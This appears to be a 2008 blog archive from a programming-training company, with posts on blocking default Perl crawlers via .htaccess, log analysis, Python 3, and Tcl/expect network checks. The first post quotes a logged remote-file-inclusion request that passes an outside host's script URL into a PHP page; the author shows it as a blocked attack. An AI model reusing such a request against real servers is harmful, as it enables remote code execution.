libwww is from the Perl LWP (Library for WorldWideWeb in Perl) library, so in this case, it's probable that someone has written an automated program In Perl ...

Automated programs are a necessity - and indeed we welcome well behaved crawlers from the well known Google and Yahoo through to more obscure ones too, but authors of such crawlers who know properly what they're doing change the User Agent string rather than using the default - in my experience, we really don't want the default crawlers on our site, which are at least 90% malicious, with the remaining 10% being amateur. So how can we turn them off?

Standard practise is to deny specific user agents via the robots.txt file - but chances are that the naughty bots won't respect that so we need to enforce the rule!

Here are three lines that I've added to our .htaccess file ...

SetEnvIfNoCase User-Agent "libwww-perl" naughty_boys
SetEnvIfNoCase User-Agent "Indy Library" naughty_boys
Deny from env=naughty_boys

Which will send out a 403 Forbidden message to the automata, telling them that they can't have the page they seek. Goodness knows what the receiveing bot will do with the error - but we can make our 403 'handler' simple, quick, secure, and light on bandwidth.

How do we test that?

Here's a simple Perl script that will declare itself as being libwww:

#!/usr/bin/perl
use LWP::UserAgent;
$ua = LWP::UserAgent->new;
$req = HTTP::Request->new(GET => 'http://www.wellho.net/index.html');
$res = $ua->request($req);
if ($res->is_success) {
  print $res->content;
} else {
  print "Error: " . $res->status_line . "\n";
}

And when I run that, it now gives me:

-bash-3.2$ perl pg1
Error: 403 Forbidden
-bash-3.2$

If I add the line:

$ua->agent("Well House Consultants Bot");

into that program, I get a much more satisfying result back ...

-bash-3.2$ perl pg2
 
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1" />
<meta name="author" content="Lisa Ellis" />
And so on

Links - full source code of our test program without and with our own user agent being set.

One of the matters that I considered very carefully indeed before blocking these use agents was the possibility that I'm blocking some useful and important traffic as well as a lot of "nasties" - throwing out the baby with the bathwater if you like. Not the case, I believe - as most people who have legit babies take good care of them and name them properly, but I will be watching my log files none the less to check.

As I finished writing this article - some poetic justice from my log file ...
64.159.77.76 - - [12/Sep/2008:21:28:20 +0100] "GET /mouth/1542_Are-nasty- programs-looking-for-security-holes-on-your- server-.html/errors.php?error= http://vnc2008.webcindario.com/idr0x.txt??? HTTP/1.1" 403 - "-" "libwww-perl/5.805"
Some automaton is looking to hack into a previous short article on security holes and firmly being denied access.

Posted by gje at 08:28 AM | Comments (0)

Useful link: Perl training

September 12, 2008

What have iTime, honeytrapagency and domain listing center got in common?

There are so many scams and dubious schemes "out there", and from time to time some of them come enough to my personal attention (by trying to scam me usually!) that I make comment about them on our web site. And, perhaps not surprisingly, I get a great deal of feedback, mostly by email or sometimes - as this morning - in the post. Which has encouraged me to add some updates to some of the stories and provide fresh links here.

Let's see - who has tried to scam me? [[ The links are all 'safe' - they're to other pages on our own site! ]]

• The Domain Listing Center / Domain Registry of America

&bull wwmdirectory - formerly tradeorlando, now honeytrapagency - JUST UPDATED

• Ken Palm, iTime, flknamediscovery and thepreferredurl - RECENT ADDITION

Posted by gje at 03:26 PM | Comments (0)

Refactoring - a PHP demo becomes a production page

"Refactoring" is a term that I've come across in Extreme Programming, but it's also a relevant topic to consider through the life cycle of any software. Perhaps I had better give a definition ....

Refactoring - the updating / alteration of software or systems, usually done in order to take into account a changing requirement.

A couple of years ago, I wrote a little demonstration during a course that took our daily web site log file, analysed it,and reported on the most popular pages on our web site. In those days, the daily log files were around 2 Mbytes each but that has now risen dramatically - it's been over 30 Mbytes per day for the last 3 days, and that means that techniques that I used in my initial demonstration - quick and easy to write, but relatively slow to run - are no longer totally appropriate. And at the same time as the data increasing, I've extended the program's output from a demonstration of reporting the most popular pages into a much more thorough analysis of web server accesses - looking at accesses to our web server by country, and also what proportion of our traffic is from robots. All of which has meant refactoring the code as it has progressed - an ongoing process .... Today, it's a page that provides us with a whole lot of information about our most visited pages.

What are some of the aspects involved?

a) Moving from a "recalculate everything each time" type operation to one where elements of caching are involved. This is at two levels.

Firstly, within each analysis - once we have identified a visiting IP to be from a particular country and calculated whether or not it's a spider, we retain that information through the rest of the file analysis on the basis that the IP address cannot move country against our fixed lookup scheme, and that it's very improbable that the same IP would be used for both a regular visitor and a spider.

Secondly (And not yet implemented as I write), there is little point in repeating the analysis many times each day for a log file that turns over in the middle of each night. Better to store the results of analysing the huge file and read the analysis results to produce the report that to re-analyse every time. Do note, though, that we don't produce a static file we can simply save as our script does allow a variety of parameters to be passed to it to tailor the report.

b) Breaking out data to include files. Early on in the life of our script, we added a few lines of code to test the browser - to see if the user agent string contained something like "MSIE" in which cas we could identify the visitor as being Microsoft Internet Explorer. That same logic is also shared by our recent visitors page.

By moving the table of browsers out into a separate file, we can now include an ever expanding and changing table of browser strings from a single source in both applications - and can indeed easily update it to provide further browser data without having to change several files that it's hidden in the middle of.

c) Moving from efficiency of coding to efficiency of running. For the analysis of a small data file, a simple set of regular expression matches to work out which user agent is a robot, and which is a real user, sufficed. But that gets very slow - especially where there's likely to be a very large number of different strings. The code has been modified to use a much faster strpos to identify certain common browsers without the need for a regular expression at all ... all meaning that the work can be done within the time the user would expect to be taken for a web page refresh.

Here's an example - showing both caching and efficiency changes - from within our script:

if ($spip[$line_els[0]]) {
    $isspider = $spip[$line_els[0]];
  } else {
    $isspider = 1;
    while (1) {
      if (strpos($line,'MSIE')) break;
      if (strpos($line,'Firefox')) break;
      if (strpos($line,'Safari')) break;
      if (eregi($spider_reg,$line)) $isspider = 2;
      break;
    }
    $spip[$line_els[0]] = $isspider;
  }

You'll note that we use the array $spip as a cache of data about which IP addresses are used by spiders - taking data from that cache if it's available in preference to doing a more complex analysis. When we do the analysis, we use strpos calls to rapidly eliminate the most common browsers before we go on and match to a (quite complex) regular expression that we have made up from the contents of a browser include file. Here is the include file ...

<?php # Browser Identity Strings - Spot the Spider!
$browsers = array (
"firefox" => "Firefox",
"iceweasel" => "Iceweasel",
"safari" => "Safari",
"netscape" => "Netscape",
"konqueror" => "Konqueror",
"opera" => "Opera",
"NutchCVS" => "Nutch Spider",
"wget" => "Wget",
"msnbot" => "MSN Spider",
"googlebot" => "Google Spider",
"us/ysearch/slurp" => "Yahoo Spider",
"WISEnutbot" => "Looksmart Spider",
"Ask Jeeves/Teoma" => "Ask Jeeves Spider",
"Naverbot" => "NaverBot Spider",
"www.almaden.ibm.com" => "IBM Almaden Spider",
"findlinks" => "Findlinks Spider",
"SocietyRobot" => "E Society Spider",
"ia_archiver" => "ia_archiver Spider",
"Accoona-AI-Agen" => "Accoona Spider",
"psbot" => "psbot Spider",
"seekbot" => "seekbot Spider",
"aipbot" => "aipbot Spider",
"rssimagesbot" => "rssimagesbot Spider",
"happyfunbot" => "happyfunbot Spider",
"msie" => "Internet Explorer",
"Twiceler" => "Twiceler Scraper / Spider",
"Xerka WebBot" => "Xerka WebBot / Spider",
"Yanga WorldSearch Bot" => "Yanga WorldSearch Spider",
"ShopWiki" => "Shop Wiki Spider",
"MJ12bot" => "Majestic 12 Spider",
"Gigabot" => "Gigabot Spider");
?>

... please feel free to use these user agents which I have found amongst those on our site!

Posted by gje at 03:05 PM | Comments (0)

Useful link: PHP training

September 11, 2008

Which country does a search engine think you are located in?

Search engines have moved forward dramatically over the past few years. We used to laugh when Well House Consultants was the top hit - in the world - for "Birth Notice" - but I suspect arrivals were very frustrated indeed to find that the article in question wasn't really a birth notice at all. These days, arrivals are far more accurate (thank goodness!) but there are still some places where the search engines aren't quite on target.

One such issue we came across earlier this year was in regard to having the search engines know where (in the world) our pages relate to. Our top level domain for our main site is a ".net" - carefully chosen as we're not limited to a single country in our work, and we provide internet (training) services. And www.wellho.net was hosted on a server that happened to be in Fremont, California. Nothing wrong with either choice there, but how on earth was Google supposed to know that it should serve up our pages when someone asked for "only UK pages", but not, perhaps, when someone asked only for "pages from the USA"? And it turned out to be might hard to discover just how the search engines place things by countries - after all, they don't publish their ranking algorithms; that would encourage people to play even more tricks than they do at the moment to get higher rankings!

Did we find a solution? Yes - sort of. With our web site traffic increasing dramatically (we now have some of our very niche technical pages accessed hundreds of times every day - and our whole site comprises many thousand pages), we moved www.wellho.net from a shared host to a dedicated server and we took the opportunity to specifically find a company that hosted in the UK. Not only did that (we hoped) give a UK element for the search engines, but it also cuts down the packet round trip time when we're working on the server, by a factor of about 10 times. That makes some difference to visitors browsing on our site - a marginal speed improvement - but it makes a big difference when we're working on our own server via a secure shell.

Here's a test showing our (new) www.wellho.net server in the UK, and the main domain (wellho.net) which still provides our backup and various other ancilliary services remaining in the USA.

earth-wind-and-fire:~/sep08 grahamellis$ ping www.wellho.net
PING www.wellho.net (83.170.95.163): 56 data bytes
64 bytes from 83.170.95.163: icmp_seq=0 ttl=53 time=18.328 ms
64 bytes from 83.170.95.163: icmp_seq=1 ttl=53 time=14.991 ms
64 bytes from 83.170.95.163: icmp_seq=2 ttl=53 time=14.1 ms
^C
--- www.wellho.net ping statistics ---
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 14.1/15.806/18.328 ms
earth-wind-and-fire:~/sep08 grahamellis$ ping wellho.net
PING wellho.net (64.62.240.12): 56 data bytes
64 bytes from 64.62.240.12: icmp_seq=0 ttl=51 time=169.043 ms
64 bytes from 64.62.240.12: icmp_seq=1 ttl=51 time=168.967 ms
64 bytes from 64.62.240.12: icmp_seq=2 ttl=51 time=170.284 ms
64 bytes from 64.62.240.12: icmp_seq=3 ttl=51 time=169.576 ms
^C
--- wellho.net ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 168.967/169.467/170.284 ms
earth-wind-and-fire:~/sep08 grahamellis$

$64,000 question - do the search engines now see us as being primarily UK? Yes, early evidence is that they do - although I don't know if this is a score based thing and we're just "more UK" now, or whether a switch has been flipped. In exploring how we're now seen, I came across this very useful site - the Robtex Swiss Army Knife - which provides a very useful free range of information, samples of which I'm pasting down the left hand side of these paragraphs. And they even have an animated banner: which tells each of your site visitors about the connection they're currently on. The diagrams (top) show how Robtex places our new server's network centre in relation to other main centres - how the traffic flows in and out - and the diagrams here show how our DNS is set up, the physical location of the server, and confirm that we are not blacklisted.

Posted by gje at 02:47 PM | Comments (0)

September 10, 2008

All the pieces fall into place - hotel and courses

It's when the best-laid plans start to come together that you think "Yes - this is working" - and some of these best laid plans have come together for the public Python course just completed.

Quite apart from the courses (where things usually come together very well almost - dare I say it - as a matter of routine) and the hotel rooms which get a universal "wow" ... we have a number of other aspects. It's great to have a week - as we did this week - where most of the delegates arrive the evening before the course, after a pleasant train journey to Melksham. And this particular train - on Sunday from Swindon - is the one the First Great Western have added to their schedule over and above the DfT's specification.

At the hotel, we have provided facilities for course delegates and other guests - and it was great to see the delegates head out for The Three Magpies - all together - on Monday night, walking there and getting a taxi back (and enjoying our "local"), and making use of the games and jigsaws that we provide on Tuesday evening.

Lisa and I were at the hotel until about 9 p.m. - hosting a Melksham Chamber of Commerce Committee meeting - and when we left the jigsaw was at 'early stages'. By the time I got in the next morning, it was completed and I saw it was a picture of Liverpool - and indeed I took some pictures of the same buildings in the jigsaw in February and you can see a selection here and from an earlier visit here.

The delegates were given a lift back to Chippenham at the end of the course - we haven't yet got an appropriate outbound service in the evening restored on a Wednesday - and I hope they had a good journey home. But they did say they would look here in a day or two (hi, there!!) and would like copies of the pictures and jigsaw. Help yourselves - and if you click on the images they should enlarge for you too. And do look us up next time you can find an excuse to come this way. Our delegates enjoyed the course ... and I would also like to say "thank you" to them for making it enjoyable for me too.

Posted by gje at 06:20 PM | Comments (0)

The road ahead - Python 3

A couple of days ago, I mentioned Python 3 in general terms - and today I'm starting to flesh out the road ahead.

print

The print operator in Python was always a bit curious, with the trailing comma to signify "no new line" ... and that has been replaced by a print function, with named parameters for the end of line action, parameter separator, and output file - it's much more flexible in it sown right, and it allows you to override the printg function which you could not do with an operator. Here are some sample print function calls:

print (teeth,"teeth and",coal,"shoes")
print (teeth,"teeth and",coal,"shoes",sep = " - ")
print (teeth,"teeth and",end = "")
print (coal,"shoes")
print ("Error and logging message",file = sys.stderr)

See complete Python 3 example and Python 2 equivalent

input and raw_input

The input function, which used to process what the user typed through the Python interpreter has gone (thank goodness!) and the old raw_input functionality, that did what we wanted 99.9% of the time for input has now simply been named input. This will be short term confusing, but a big relief in the medium and long term.

See complete Python 3 example and Python 2 equivalent

range and xrange

The original range function - many moons ago - returned a list, which you could then step through in a for loop. Which was great for a small list and really grotty for a longer one - rather like blowing up a balloon (generating a list) and then letting the air out of it slowly. And of course, if you blow a balloon up too much it bursts! The xrange function was added to provide an iterator - rather than blowing up a balloon, the information is generated just-in-time, very much like a generator

Moving on to Python 3, range is now a generator (and xrange has gone), which means that it will default to being tidy. The same applies to things like map as well, and you will need to add a list function call there if you don't want to iterate through a mapping

Here's a generator in use (in Python 3) with the range function itself producing an iterator:

def squares(g):
  for val in range(g):
    print ("working out ",val)
    yield val*val
  
for ref in squares(8):
  print ("Board with ",ref," squares")

and here is what that code would look like on Python 2:

def squares(g):
  for val in xrange(g):
    print "working out ",val
    yield val*val
  
for ref in squares(8):
  print "Board with ",ref," squares"

Our next public Python Course will include a module on Python 3 changes, covering not only the new features, but also the way to make best use of them and to plan for them and easily convert from legacy Python code - moving Python forward on a practical basis. In due course (estimate - 3 to 6 months, depending on market requirements) the whole course will be Python 3 based.

We can also provide a one day seminar for current python users, introducing them to the new facilities and changes and helping them plan a painless transition for the way forward. Please email me for details.

Posted by gje at 07:53 AM | Comments (0)

Useful link: Python training

September 09, 2008

Sharing variables with functions, but keeping them local too - Python

""" One of the big issues with any programming language is how in shares (scopes) variables between blocks of code. On one hand there's a desire to have variables easily accessible without a lot of passing around. On the other hand there's the need to keep information in vary different parts of you code apart, with a variable name you happen to have used twice not resulting in a memory location being shared between two pieces of code which are otherwise independent of each other.

With the notable exception of Perl, languages "scope" variables to the subroutine / procedure / method / proc / macro in which they are defined, unless you take other specific action such as declaring them global.

This piece of Python code - a rather messy example which resulted from a practical demonstration earlier today - shows examples of many facets of variable sharing to defined functions, and a couple of surprises too! """

# This first is a variable in the main code only.
# There is a different first in the function "one"
 
# second is in the main code
# As it is used READ ONLY in the function, it is shared there
 
first = 1
second = 14
 
def one():
   first = 4 + second
   first *= 2
   print first
   result = first+3
# Referring to a variable in the functions own name space
# is broadly equivalent to it being "static" - it is visible
# outside, and retained for next time the function is called
   one.latest = result
   return result, first, second
 
# A Lambda is a quick way of defining a function
two = lambda john: john + 2
# A function is an object, so you can easily give
# it another reference (i.e. a second name!)
three = two
 
print first
# A function returns one object - but if that object is a
# tuple, then it can be saved as multiple variables (objects)
zig, zag, zog = one()
print zig
print zag
print zog
 
print first
print second
 
# Swapping over two values in Python
# No need for a temporary variable
# (or rather - Python provides the temporary tuple!)
first, second = second, first
 
print first
print second
 
dis = two(first)
print dis
 
dat = three(dis)
print dat
 
print one.latest
 
""" Here are the results if running that!
1
36
39
36
14
1
14
14
1
16
18
39
"""

""" Using the ''' notation, the whole of this article is a working Python program which you can simply cut and paste and run for yourself!"""

Posted by gje at 11:48 PM | Comments (0)

Useful link: Python training

September 08, 2008

Looking for a value in a list - Python

In any scripting language, avoiding loops makes for easier to write and faster to run code. One example is Pythons if .. in construct, where you can avoid a loop to test whether a value matches any member of a list or tuple.

Example:

stuff = ["red","green","blue"]
if "green" in stuff: print ("On the grassy field")
if "brown" in stuff: print ("On the muddy soccer pitch")

No need for a loop - just one test and we find that we're in the green stuff and not the brown stuff!

Dorothy:~ grahamellis$ python brst
On the grassy field
Dorothy:~ grahamellis$

Posted by gje at 05:04 PM | Comments (0)

Useful link: Python training

September 07, 2008

Python 2 to Python 3 / Python 3000 / Py3k

There's a new release of Python on the horizon. Well - it's rather closer than the horizon, as there are beta test releases around, and a final production release is due within the month. It has been known as Python 3000 and Py3k along the way - but the release is numbered 3.0 and it's really known as "Python 3.0"

Will everyone switch straight away to Python 3? No - I'm sure they won't; it is planned that there will be parallel releases for a while (as there were with PHP as it went from release 4 to release 5) as there are changes which will break source code compatibility. This compatibility issue is always a tough one for the language designers - whether to restrict and encumber development through the life of the language due to early decisions which may have been good at the time but are now outdated, or to bite the bullet and make the changes. And the Python 3 team have taken the latter approach.

I'm running a public Python course over the next few days, and I and my delegates will be using the latest production versions - Python 2.5.x as I write - throughout. However, I'll be training with one eye on Python 3 to ensure I can advise against "dead end programming" and I'll give a keynote / philosophy talk to ensure that all my delegates know where the language is going and can make the very best of the current syntax, and the changes too. And that will be backed up by a demonstration of some of the code we have seen and written during the course on a machine that also has 3.0 installed.

The main philosophies of Python 3 remain the same main philosophies of Python, and that includes providing facilities once (not in a plethora of ways) and preferably in an obvious / well established / old way - so in practise it's not going to be a huge leap to move to Python 3. However, there are tools being provided to help you if you'll be moving code - such as 2to3 which does an automated translation ("good but not perfect") and some new facilities being backported into Python 2.6 which will provide a useful stepping stone.

Posted by gje at 06:58 AM | Comments (0)

Useful link: Python training

September 06, 2008

Howto - write and manage a news box on your web page

Q: "I want a Content Management System. What should I select?"

A: I don't know - without asking you further questions!

The web, these days, is mostly about content management, and you may as well say to me "I want to get from 'A' to 'B' - please provide a way." I will have to ask you if A is just along the hallway from B (in which case all you need is a key), or it could be that A and B are on different continents (needs airline ticket, passport ...)

The most common CMS requirement of all is for a single page with content that's mostly static, but where a "latest news" box can be changed as required by the non-technical customer. Such a requirement can easily be met with a few lines of PHP, and I wrote an example during yesterday's course as a demonstration. You can see the page here (opens in separate window) as it's seen by the regular user. By adding an extra code onto the URL, though, it's provided with an exit box too - here - in which you can change the text and save it.

Regrettably, not everyone online is benign, and you need to be very careful to consider the security of even a simple application like this. In ours, the data you enter is "scrubbed" clean before it is echoed to prevent many attacks, and of course you should keep your back door / password secret and not publish them in a public page link (like I have done in the paragraph above!). However, these issues are easy to overcome if you take the right advise and think them through carefully.

If you want to learn about the techniques I've described above, you can have a look at the complete source code here. We also offer PHP Programming courses which cover the subject background or if you're looking to go more advanced, we'll actually be using this example as the start of our PHP Techniques workshop the week after next!

Posted by gje at 10:46 AM | Comments (0)

September 05, 2008

Picturing the rain

A damp August and a really wet start to September. It looks like a tropical storm, doesn't it, but in fact it's a picture I took out of the window of our smaller training room during the MySQL course yesterday.

Well House Manor remained water tight, with our approach canopy doing sterling service against the deluge.

Posted by gje at 08:12 AM | Comments (0)

September 04, 2008

What is running on your network? (tcl and expect)

Earlier this week, I gave a much-tailored Tcl course, with a strong helping of expect.

Expect adds three major extra commands to Tcl - spawn to start a new process under the control of the running Tcl/Tk code, send to send information to it and expect to await for - and decide on how to process - a particular response. It is a very clever way to automate other process which are designed for keyboard use, and otherwise very hard to automate.

Here's an example - written largely during the course, and which I ran (when I got back to base) to test our own network at Well House Manor which pings a whole series of hosts in turn, and then analyses their response to give a summary of what is up and running.

log_user 0
 
set iplist "67 99 134"
for {set k 210} {$k<223} {incr k} {
 lappend iplist $k
 }
 
foreach lastbit $iplist {
 
spawn ping -c2 192.168.200.$lastbit
puts -nonewline "testing $lastbit ... "
flush stdout
 
# expect is like a switch ;-)
 
expect {
 "2 packets received" {
  set between $expect_out(buffer)
  regexp {time=([^\n]+)} $between all actual
  puts "Present - sample timing - $actual"
  set located($lastbit) $actual
  }
 "packets received" { puts "POOR"}
 timeout { puts UNFOUND}
 eof { puts GONEAWAY}
 }
}
 
puts "--------------- System Available Summary ---------"
foreach host [lsort -integer [array names located]] {
 puts "192.168.200.$host"
 }
exit
 
--- Since Tcl is a truly interpretive language, I can
add any comments - or this sample output - below my
exit command, and it this text won't every be interpreted
 
testing 67 ... Present - sample timing - 2.054 ms
testing 99 ... Present - sample timing - 0.114 ms
testing 134 ... Present - sample timing - 4.521 ms
testing 210 ... UNFOUND
testing 211 ... UNFOUND
testing 212 ... UNFOUND
testing 213 ... UNFOUND
testing 214 ... UNFOUND
testing 215 ... Present - sample timing - 294.033 ms
testing 216 ... UNFOUND
testing 217 ... UNFOUND
testing 218 ... Present - sample timing - 103.647 ms
testing 219 ... UNFOUND
testing 220 ... UNFOUND
testing 221 ... UNFOUND
testing 222 ... Present - sample timing - 5.454 ms
--------------- System Available Summary ---------
192.168.200.67
192.168.200.99
192.168.200.134
192.168.200.215
192.168.200.218
192.168.200.222

Now ... that's a slow process, as each failing connection times out in series. Which is ironic, because the time at which you want a faster response is when you have systems down / network issues.

Using a list of spawn_ids, Expect can run a whole series of processes in parallel and can wait on any one of them, knowing which one has responded and processing it as appropriate. There's a complete example I've written of this available on our web site [source code link] and it's covered during our public Tcl course; the version I've linked to is for Mac OS X (ping's responses vary by operating system) - if you're looking for versions that run on various Linux distributions, you'll find links to them from the Mac page.

Finally, I have a screen capture of a web-based version in which I've done no more that add in some Common Gateway Interface code. And this means that I can check out our intranet from any browser - "what machines are running" I can ask.

The default setup tests my servers (at 192.168.20.67, 99 and 222), my outbound connection (at .134) and our fleet of training systems - so that you can see that this evening we have a functioning network connection box, a server, and two "late bird" systems - "Easterton" at .215 and "Holt" at .218

I've already received a request to annotate the display ;-) .... which I will indeed do - so that the page gives a very much more graphic report of our network, with machine names and functions included and flags up whether or not we're on line, and so on. Easy to do, but it'll obfuscate the source code demonstration a little.

Posted by gje at 11:53 PM | Comments (0)

Useful link: Tcl training

September 03, 2008

Global - Tcl, PHP, Python

PHP, Python, Tcl and a number of other languages have a global keyword. And it's a misnomer in most (if not all) cases.

To the un-initiated, "Global" means "worldwide" or "shared all around". So you would think that if you declare something as global, you're going to be sharing it with the same thing everywhere else. But - sorry - that's not the case. In each of the languages I quoted, global really means "Share this with the variable of the same name in the main program".

What does this mean?

• In Tcl, Python, PHP ... you do NOT need to declare a variable as being global in your main code, even if you want to share it with your procs (Tcl) methods (Python) or functions (PHP) - it is, in effect, automatically global if you want to declare in global in a named block of code

• If you don't want a variable within a named block of code to be shared with the same 'global' variable, you can be reassured that you will not be sharing it simply by omitting any global declaration for it in the named block

• If you want to share a variable between two named blocks of code, you can do so by declaring it as global in BOTH of them ... and this has the side effect that it will also be shared, without any declaration, by any variable that happened to have the same name in your main block of code

Posted by gje at 12:23 AM | Comments (0)

Useful links: Python training, PHP training, Tcl training

September 02, 2008

Think before you send

Some useful (?) things to send somebody ...

a) A pair of scissors, in one of those hard plastic wraps that the stores use to prevent their products being used before they are sold, and you need a pair of scissors to open.

b) A decompression program, in a compressed format

c) A software download, with the documentation for the unpacking and installation procedure included within the zipped / compressed file.

d) The name of a file on their computer, rather than its contents

e) A shrink wrapped software product, with a software license inside the shrink wrap which when you get to it says "by opening this product wrapping, you are agreeing to the terms of this license"

Posted by gje at 06:20 PM | Comments (0)

Calling procs in Tcl and how it compares to Perl

In languages such as Java, you must call your named blocks of code (methods) with the correct number and type of parameters, but in Perl you may call them with as many or as few parameters as you like ... then write the named block of code (a sub) to handle (or ignore) whatever it gets.

This week, I'm running a Tcl Course in Cambridge for a group of delegates who are already familiar with Perl (and some other languages) and I'm showing them how things differ in Tcl. Here are some of the contrasts ...

1. Since Tcl is a true interpreter, you MUST define your procs earlier in your code than the code that calls it.

2. Since Tcl is a true interpreter, you MAY define your procs conditionally - for example you could have an "if .... else" command, and define something different - but using the same name - depending on a test

3. In Tcl, you can redefine a proc while your script is running - you won't get the "doubly defined" error of "C", and the interpretive nature of the language (as oposed to Perl, which is pseudoscripting only, means you don't have a compile phase at which all procs must be defined.

4. When you declare a proc, you specify the number of parameters - for example
proc cardpack {suites ranks} { ....
is how you would define a proc that takes two parameters

5. You may add a list within a list for optional parameters - for example
proc cardpack {suits {ranks 13} {jokers 0}} { ...
which defines a proc that takes one, two of three parameters - but not zero, nor four or more. If you give just one parameter, it's put into the variable calls $suits and $ranks defaults to 13 and $jokers to 0.

6. If you want to accept an indeterminate number of parameters, you use the special name args for the final parameter, and that acts like a sponge to collect all remaining parameter valuse as a list within the proc - for example
proc hand {firstcard secondcard args} { ...
called with
hand 13 17 75 32 32 44 32
would store 13 in $firstcard, 17 in $secondcard, and all the rest into a list in $args - that's {75 32 32 44 32}.

7. In Tcl you are calling by value, so information passed in to a proc is in effect copied in there, and if you alter it you are not altering the original in the calling code. If you want to alter the value within the proc, you'll need to pass in the variable name and use upvar

8. You may pass arrays in to procs - but you must call by name / use upvar

In Perl, variables default to being our or global, but in Tcl they default to being local. You may declare them global if you like.

Posted by gje at 06:19 PM | Comments (0)

Useful links: Perl training, Tcl training

September 01, 2008

Reception

The slight young girl, perhaps aged about 17, was dressed in army fatigues. She waved her automatic rifle at me and ordered me to move away from my car. I did as ordered, without any hesitation. An hour or so later, I was in a prison building ...

I'm never quite sure what I'm going to find when I turn up to run a course.

The day above - at a US military base in Germany - sticks out, years after it happened, as the most memorable of all time. More usually, I'll arrive on site to a pre-informed reception, and a customer contact who's anxious to get me and all the equipment I have with me in, and set up, for a course to start within the hour. With a pre-checked set of equipment, and reasonable access to the training room, that timing is plenty.

My German experience came flooding back to me this morning. A security guard who I've never met before at this customer site, a failure of the notification system that should have let him know that I would be arriving before any of the staff and he should let me in, and I found myself spending much of my setup hour sitting, sipping coffee and listening to stories from the security industry. Nice guy, just doing his job - and I've long since to take such things very laid back - as I said to him "I'm being paid for my day here, and it doesn't really make much difference to me if I spend an extra half an hour chatting with you, then run a slightly shorter training day".

Posted by gje at 06:02 PM | Comments (0)

Server overloading - turns out to be feof in PHP

From the manual page on feof:

Warning - If passed file pointer is not valid you may get an infinite loop, because EOF fails to return TRUE.

From a script on our server:

while (1) {
  $nlines ++;
  $line = fgets($fh,1024);
  if (feof($fh)) break;

OOps! ... the file that's being analysed is our spam log, which is hard coded into the page that draws an email graph. And the slight (!) problem with the code above is that now that we have separated our email server from our web server, there is no such file.

Our new web server has been running fine ... except ... that occasionally and inexplicably, it has "maxed out" for a few minutes. And it was very hard to find (across many thousand pages!) what was happening. In the end, a top report showed me that we had one or two httpd threads grabbing all the cpu resource at 'event' time ... and a Perl script run against the log file to report only on the slowly served pages:

open (FH,"access_log");
$osid = 0;
while (<FH>) {
  $l++;
  ($h, $m, $s) = /(\d\d):(\d\d):(\d\d)/;
  $sid =$s + 60*$m + 3600 * $h;
  if ($osid) {
    $moved = $sid - $osid;
    if ($moved < -10) {
      print "$l ";
      print;
    }
  }
  $osid = $sid;
}

gave me the clue. (Isn't Perl a marvellous tool - even when helping debug PHP!)

Posted by gje at 02:31 AM | Comments (0)

Useful link: PHP training